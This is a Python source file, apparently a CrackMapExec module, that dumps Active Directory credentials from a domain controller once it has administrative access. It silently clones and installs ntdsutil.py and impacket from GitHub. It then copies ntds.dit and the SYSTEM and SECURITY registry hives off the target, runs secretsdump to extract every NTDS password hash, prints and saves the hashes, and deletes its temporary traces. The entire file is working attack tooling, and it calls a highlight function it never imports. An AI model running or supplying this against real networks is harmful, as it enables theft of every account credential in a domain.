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ntdsutil.py
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ntdsutil module for CME python3
# author of the module : github.com/e1abrador
# secretsdump: https://github.com/fortra/impacket/blob/master/examples/secretsdump.py
# ntdsutil: https://github.com/zblurx/ntdsutil.py
# Inspired in: https://twitter.com/mpgn_x64/status/1638998623701684247
import subprocess
import random
import string
import os
import datetime
import shutil
class CMEModule:
name = "ntdsutil"
description = "Remotely dump NTDS using NTDSUTIL to avoid crashing the DC on 2019"
supported_protocols = ["smb"]
opsec_safe= True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
def on_admin_login(self, context, connection):
domain = connection.domain
username = connection.username
host = connection.host
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
hostname = connection.hostname
# Clone and install ntdsutil.py
repo_url = "https://github.com/zblurx/ntdsutil.py"
repo_path = "/opt/ntdsutil.py"
if not os.path.exists(repo_path):
subprocess.run(["git", "clone", repo_url, repo_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
cmd = ["python3", f"{repo_path}/setup.py", "install"]
subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# Clone and install impacket
repo_url = "https://github.com/SecureAuthCorp/impacket"
repo_path = "/opt/impacket"
if not os.path.exists(repo_path):
subprocess.run(["git", "clone", repo_url, repo_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
cmd = ["python3", f"{repo_path}/setup.py", "install"]
subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
repo_name = "ntdsutil.py"
repo_path = f"/opt/{repo_name}"
# NTLM authentication
if password == "":
context.log.info("Using NTLM authentication.")
context.log.info("Dumping ntds with ntdsutil.exe.")
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
os.system(f"python3 {repo_path}/ntdsutil.py {domain}/{username}:{password}@{host} -hashes {nthash} -outputdir /tmp/{random_string} >/dev/null 2>&1")
if os.path.exists(f"/tmp/{random_string}/Active Directory/ntds.dit"):
context.log.highlight(f"NTDS.dit copied at /tmp/{random_string}/Active Directory/ntds.dit")
if os.path.exists(f"/tmp/{random_string}/registry/SYSTEM"):
context.log.highlight(f"SYSTEM copied at /tmp/{random_string}/registry/SYSTEM")
if os.path.exists(f"/tmp/{random_string}/registry/SECURITY"):
context.log.highlight(f"SECURITY copied at /tmp/{random_string}/registry/SECURITY")
context.log.success(f"Dumping the NTDS, this could take a while so go grab a redbull...")
os.system(f"impacket-secretsdump -system /tmp/{random_string}/registry/SYSTEM -ntds '/tmp/{random_string}/Active Directory/ntds.dit' LOCAL -outputfile /tmp/{random_string}/hashes.txt >/dev/null 2>&1")
with open(f"/tmp/{random_string}/hashes.txt.ntds", "r") as f:
for line in f:
context.log.highlight(line.strip())
line_count = 0
with open(f"/tmp/{random_string}/hashes.txt.ntds", "r") as f:
for line in f:
line_count += 1
now = datetime.datetime.now()
formatted_date = now.strftime("%Y_%m_%d_%H%M%S")
old_path = '/tmp/' + random_string + '/hashes.txt.ntds'
full_filename = hostname + '_' + host + "_" + formatted_date + '.ntds'
new_path = '/tmp/' + random_string + "/" + full_filename
os.rename(old_path, new_path)
destination_path = os.path.join(os.path.expanduser('~'), '.cme', 'logs')
shutil.move(new_path, destination_path)
dump_path = destination_path + "/" + full_filename
context.log.success(f"Dumped {highlight(line_count)} NTDS hashes to {dump_path}")
remove_path = '/tmp/' + random_string
shutil.rmtree(remove_path)
context.log.info(f"Removed successfuly {remove_path}")
else:
context.log.error('It was not possible to download SECURITY')
else:
context.log.error('It was not possible to download SYSTEM')
else:
context.log.error('It was not possible to download ntds.dit')
# Password authentication
else:
context.log.info("Using password authentication.")
context.log.info("Dumping ntds with ntdsutil.exe.")
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
os.system(f"python3 {repo_path}/ntdsutil.py {domain}/{username}:{password}@{host} -outputdir /tmp/{random_string} >/dev/null 2>&1")
if os.path.exists(f"/tmp/{random_string}/Active Directory/ntds.dit"):
context.log.highlight(f"NTDS.dit copied at /tmp/{random_string}/Active Directory/ntds.dit")
if os.path.exists(f"/tmp/{random_string}/registry/SYSTEM"):
context.log.highlight(f"SYSTEM copied at /tmp/{random_string}/registry/SYSTEM")
if os.path.exists(f"/tmp/{random_string}/registry/SECURITY"):
context.log.highlight(f"SECURITY copied at /tmp/{random_string}/registry/SECURITY")
context.log.success(f"Dumping the NTDS, this could take a while so go grab a redbull...")
os.system(f"impacket-secretsdump -system /tmp/{random_string}/registry/SYSTEM -ntds '/tmp/{random_string}/Active Directory/ntds.dit' LOCAL -outputfile /tmp/{random_string}/hashes.txt >/dev/null 2>&1")
with open(f"/tmp/{random_string}/hashes.txt.ntds", "r") as f:
for line in f:
context.log.highlight(line.strip())
line_count = 0
with open(f"/tmp/{random_string}/hashes.txt.ntds", "r") as f:
for line in f:
line_count += 1
now = datetime.datetime.now()
formatted_date = now.strftime("%Y_%m_%d_%H%M%S")
old_path = '/tmp/' + random_string + '/hashes.txt.ntds'
full_filename = hostname + '_' + host + "_" + formatted_date + '.ntds'
new_path = '/tmp/' + random_string + "/" + full_filename
os.rename(old_path, new_path)
destination_path = os.path.join(os.path.expanduser('~'), '.cme', 'logs')
shutil.move(new_path, destination_path)
dump_path = destination_path + "/" + full_filename
context.log.success(f"Dumped {highlight(line_count)} NTDS hashes to {dump_path}")
remove_path = '/tmp/' + random_string
shutil.rmtree(remove_path)
context.log.info(f"Removed successfuly {remove_path}")
else:
context.log.error('It was not possible to download SECURITY')
else:
context.log.error('It was not possible to download SYSTEM')
else:
context.log.error('It was not possible to download ntds.dit')